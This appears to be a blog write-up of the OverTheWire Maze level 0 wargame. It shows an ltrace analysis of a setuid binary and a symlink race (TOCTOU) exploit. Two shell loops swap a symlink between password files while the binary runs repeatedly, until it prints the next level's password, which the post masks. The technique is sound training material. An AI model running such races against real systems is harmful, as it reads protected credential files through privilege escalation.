OverTheWire.org - Maze - Level 0 Writeup

Let's run the executable in ltrace

maze0@maze:/tmp$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...>
memset(0xffffd6d8, '\0', 20)                                                                     = 0xffffd6d8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4)                                                 = -1
+++ exited (status 0) +++

It access the file "/tmp/128ecf542a35ac5270a87dc740918404" and checks if it has read access.

Let's create such a file and execute the vulnerable code.

maze0@maze:/tmp$ echo "AAAA" > "/tmp/128ecf542a35ac5270a87dc740918404"

maze0@maze:/tmp$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...>
memset(0xffffd6d8, '\0', 20)                                                                     = 0xffffd6d8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4)                                                 = 0
geteuid()                                                                                        = 15000
geteuid()                                                                                        = 15000
geteuid()                                                                                        = 15000
setresuid(0x3a98, 0x3a98, 0x3a98, 0)                                                             = 0
open("/tmp/128ecf542a35ac5270a87dc7409"..., 0, 00)                                               = 3
read(3, "AAAA\n", 19)                                                                            = 5
write(1, "AAAA\n", 19AAAA
)                                                                           = 19
+++ exited (status 0) +++

It opens the file and write the content to stdout.
We can remove the file and create a symbolic link with the same name that points to the password file /etc/maze_pass/maze1.
Unfortunately id doesn't work.

The reason is that maze1 program access() the file to find if it's readable.
Then changes the EUID to get higher privileges
After that tries to read the file.

 In other words: the privileges on the file are checked as maze0 (with his user rights), while effective read is done as maze1 user.
This is a problem because we can't get past the access() function. Or not?

I believe there is some space for a race condition.
What if we run two concurrent infinite loops in two separate terminal session?
One session runs maze1 program continuously.

The other session executes two operations: create the link to maze0 password file and just after change the same link to point to maze1 password file.
Sine it's a loop It keeps changing the target of the same soft link to different files.

With some luck, and if link creation is faster the maze1 execution, we should be able to create the link to maze0 password file just before maze1 check the rights with access().
And then the link is changed to maze1 pasword file just before maze1 executes the read() operation on the link.
If that happens maze1 executable will successfully read the maze1 password file.

 So in one terminal we run:
 while [ 1 ]; 
  do  
 ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404
 ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
done;


In another terminal we run:

while [ 1 ]; 
  do  
 /maze/maze0
done;

It will show some error related to resource usage, but finally after some time we will see the password

-bash: fork: retry: Resource temporarily unavailable
...
-bash: fork: retry: Resource temporarily unavailable
h*******n
 -bash: fork: retry: Resource temporarily unavailable

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.